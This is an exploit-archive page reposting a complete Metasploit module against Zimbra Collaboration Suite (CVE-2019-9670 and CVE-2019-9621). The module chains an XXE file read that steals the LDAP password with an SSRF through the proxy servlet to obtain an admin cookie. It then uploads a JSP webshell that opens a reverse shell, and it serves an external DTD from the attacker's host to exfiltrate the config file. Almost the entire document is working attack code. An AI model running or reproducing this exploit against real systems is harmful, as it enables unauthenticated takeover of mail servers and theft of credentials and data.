Zimbra Collaboration Autodiscover Servlet XXE / ProxyServlet SSRF

2019.04.11
Credit: Jacob Robles
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF', 'Description' => %q{ This module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration file that contains an LDAP password for the 'zimbra' account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the 'zimbra' credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the Client Upload servlet is used to upload a JSP webshell that can be triggered from the web server to get command execution on the host. The issues reportedly affect Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition. }, 'Author' => [ 'An Trinh', # Discovery 'Khanh Viet Pham', # Discovery 'Jacob Robles' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-9670'], ['CVE', '2019-9621'], ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html'] ], 'Platform' => ['linux'], 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultOptions' => { 'RPORT' => 8443, 'SSL' => true, 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }, 'Stance' => Stance::Aggressive, 'DefaultTarget' => 0, 'DisclosureDate' => '2019-03-13' # Blog post date )) register_options [ OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']), OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10]) ] end def xxe_req(data) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, '/autodiscover'), 'encode_params' => false, 'data' => data }) fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503 res end def soap_discover(check_soap=false) xml = REXML::Document.new xml.add_element('Autodiscover') xml.root.add_element('Request') req = xml.root.elements[1] req.add_element('EMailAddress') req.add_element('AcceptableResponseSchema') replace_text = 'REPLACE' req.elements['EMailAddress'].text = Faker::Internet.email req.elements['AcceptableResponseSchema'].text = replace_text doc = rand_text_alpha_lower(4..8) entity = rand_text_alpha_lower(4..8) local_file = '/etc/passwd' res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>" if check_soap local = "file://#{local_file}" res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>" res << "#{xml.to_s.sub(replace_text, "&#{entity};")}" else local = "http://#{srvhost_addr}:#{srvport}#{@service_path}" res << "<!ENTITY % #{entity} SYSTEM '#{local}'>" res << "%#{entity};]>" res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}" end res end def soap_auth(zimbra_user, zimbra_pass, admin=true) urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount' xml = REXML::Document.new xml.add_element( 'soap:Envelope', {'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'} ) xml.root.add_element('soap:Body') body = xml.root.elements[1] body.add_element( 'AuthRequest', {'xmlns' => urn} ) zimbra_acc = body.elements[1] zimbra_acc.add_element( 'account', {'by' => 'adminName'} ) zimbra_acc.add_element('password') zimbra_acc.elements['account'].text = zimbra_user zimbra_acc.elements['password'].text = zimbra_pass xml.to_s end def cookie_req(data) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, '/service/soap/'), 'data' => data }) fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 res end def proxy_req(data, auth_cookie) target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, '/service/proxy/'), 'vars_get' => {'target' => target}, 'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}", 'data' => data, 'headers' => {'Host' => "#{datastore['RHOST']}:7071"} }) fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 res end def upload_file(file_name, contents, cookie) data = Rex::MIME::Message.new data.add_part(file_name, nil, nil, 'form-data; name="filename1"') data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"') post_data = data.to_s send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie }) end def check begin res = xxe_req(soap_discover(true)) rescue Msf::Exploit::Failed return CheckCode::Unknown end if res.body.include?('zimbra') return CheckCode::Vulnerable end CheckCode::Unknown end def on_request_uri(cli, req) ent_file = rand_text_alpha_lower(4..8) ent_eval = rand_text_alpha_lower(4..8) dtd = <<~HERE <!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml"> <!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>"> %#{ent_eval}; HERE send_response(cli, dtd) end def primer datastore['SSL'] = @ssl res = xxe_req(soap_discover) fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value&gt;(.*?)&lt;\/value/m password = $1 username = 'zimbra' print_good("Password found: #{password}") data = soap_auth(username, password, false) res = cookie_req(data) fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/ auth_cookie = $1 print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}") data = soap_auth(username, password) res = proxy_req(data, auth_cookie) fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/ admin_cookie = $1 print_good("Admin cookie retrieved: #{admin_cookie}") stager_name = "#{rand_text_alpha(8..16)}.jsp" print_status('Uploading jsp shell') res = upload_file(stager_name, payload.encoded, admin_cookie) fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200 # Only shell sessions are supported register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)") register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)") register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)") register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)") print_status("Executing payload on /downloads/#{stager_name}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"), 'cookie' => admin_cookie }) end def exploit @ent_data = rand_text_alpha_lower(4..8) @ssl = datastore['SSL'] datastore['SSL'] = false Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error end end


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